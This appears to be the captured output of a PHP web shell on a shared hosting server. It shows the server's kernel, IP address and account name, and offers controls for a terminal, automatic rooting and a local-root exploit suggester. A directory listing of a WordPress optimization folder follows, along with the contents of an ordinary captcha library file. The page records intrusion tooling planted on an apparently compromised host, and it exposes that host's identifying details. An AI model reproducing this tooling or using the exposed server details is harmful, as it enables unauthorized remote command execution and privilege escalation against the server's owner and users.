Linux server.edchosting.com 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
LiteSpeed
Server IP : 75.98.162.185 & Your IP : 216.73.216.163
Domains :
Cant Read [ /etc/named.conf ]
User : goons4good
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
opt /
a2-optimized /
wordpress /
Delete
Unzip
Name
Size
Permission
Date
Action
A2ReCaptcha
[ DIR ]
drwxr-xr-x
2025-04-30 04:08
bin
[ DIR ]
drwxr-xr-x
2025-04-30 04:08
LSCWP_Default_Configuration.data
7.4
KB
-rw-r--r--
2025-04-29 15:41
Optimizations.php
241
B
-rw-r--r--
2025-04-29 15:41
am-bundle.php
1010
B
-rw-r--r--
2025-04-29 15:41
class.A2_Optimized_Private_Optimizations.php
36.09
KB
-rw-r--r--
2025-04-29 15:41
class.A2_Optimized_Private_Optimizations_v3.php
35.31
KB
-rw-r--r--
2025-04-29 15:41
cron-job.php
2.39
KB
-rw-r--r--
2025-04-29 15:41
fix-w3tc.php
2.02
KB
-rw-r--r--
2025-04-29 15:41
hcaptcha_lib.php
2.1
KB
-rw-r--r--
2025-04-29 15:41
managedwp_functions.php
3.78
KB
-rw-r--r--
2025-04-29 15:41
opt-init-variables.txt
797
B
-rw-r--r--
2025-04-29 15:41
optimize.sh
12.29
KB
-rw-r--r--
2025-04-29 15:41
p2-wp-opt-v1.data
7.39
KB
-rw-r--r--
2025-04-29 15:41
p2-wp-opt-v1.sh
20.48
KB
-rwxr-xr-x
2025-04-29 15:41
pagespeed.php
3.2
KB
-rw-r--r--
2025-04-29 15:41
privkey
0
B
-rw-r--r--
2025-04-29 15:41
pubkey
0
B
-rw-r--r--
2025-04-29 15:41
recaptcha_autoload.php
1.14
KB
-rw-r--r--
2025-04-29 15:41
recaptchalib.php
9.36
KB
-rw-r--r--
2025-04-29 15:41
recaptchalib_v2.php
2.95
KB
-rw-r--r--
2025-04-29 15:41
turbo-default.txt
7.39
KB
-rw-r--r--
2025-04-29 15:41
warp-imagick.json
940
B
-rw-r--r--
2025-04-29 15:41
wp-opt-v1.sh
41.12
KB
-rwxr-xr-x
2025-04-29 15:41
Save
Rename
<?php require_once __DIR__ . '/recaptcha_autoload.php'; require_once __DIR__ . '/hcaptcha_lib.php'; /** * Gets the challenge JS widget. * This is called from the browser, and the resulting reCAPTCHA HTML widget * is embedded within the HTML form it was called from. * * @return string - The HTML to be embedded in the user's form. */ function a2recaptcha_get_html ($error = null){ $output = ''; $captcha_provider = get_option('a2_captcha_provider'); if($captcha_provider != 'hcaptcha'){ // Check what provider they have selected if(!get_option('a2_recaptcha_usecustom') || !get_option('a2_recaptcha_sitekey') || !get_option('a2_recaptcha_secretkey')){ // Site has not set custom keys, they are migrated to hcaptcha update_option('a2_captcha_provider', 'hcaptcha'); $captcha_provider = 'hcaptcha'; } else { // Attempt to use reCaptcha $lang = 'en'; $theme = 'light'; if(get_option('a2_recaptcha_theme') && get_option('a2_recaptcha_theme') == "dark"){ $theme = 'dark'; } $siteKey = get_option('a2_recaptcha_sitekey'); $output = <<<HTML <script type="text/javascript" src="https://www.google.com/recaptcha/api.js"></script> <div class="g-recaptcha" data-sitekey="{$siteKey}" data-theme="{$theme}"></div> <style> body.login .g-recaptcha { position: relative; top: -6px; left: -15px; } </style> HTML; } } if($captcha_provider == 'hcaptcha' || $output == ''){ // Display hcaptcha $output = a2_hcaptcha_get_html(); } return $output; } /** * Calls an HTTP POST function to verify if the user's guess was correct * @param string $recaptcha_response * * @return bool */ function a2recaptcha_check_answer ($recaptcha_response){ $captcha_provider = get_option('a2_captcha_provider'); if($captcha_provider != 'hcaptcha'){ $secret = null; if(get_option('a2_recaptcha_usecustom')){ if(get_option('a2_recaptcha_secretkey')){ $secret = get_option('a2_recaptcha_secretkey'); } } if(!$secret){ return false; } else { $recaptcha = new \A2ReCaptcha\ReCaptcha($secret, new \A2ReCaptcha\RequestMethod\CurlPost()); $re_resp = $recaptcha->verify($recaptcha_response, $_SERVER['REMOTE_ADDR']); $site_url = strtolower(parse_url(home_url(), PHP_URL_HOST)); if(strtolower($re_resp->getHostname()) == $site_url && $re_resp->isSuccess()){ return true; } else { return false; } } } if($captcha_provider == 'hcaptcha'){ $recaptcha_response = $_POST['h-captcha-response']; return a2_hcaptcha_verify($recaptcha_response); } }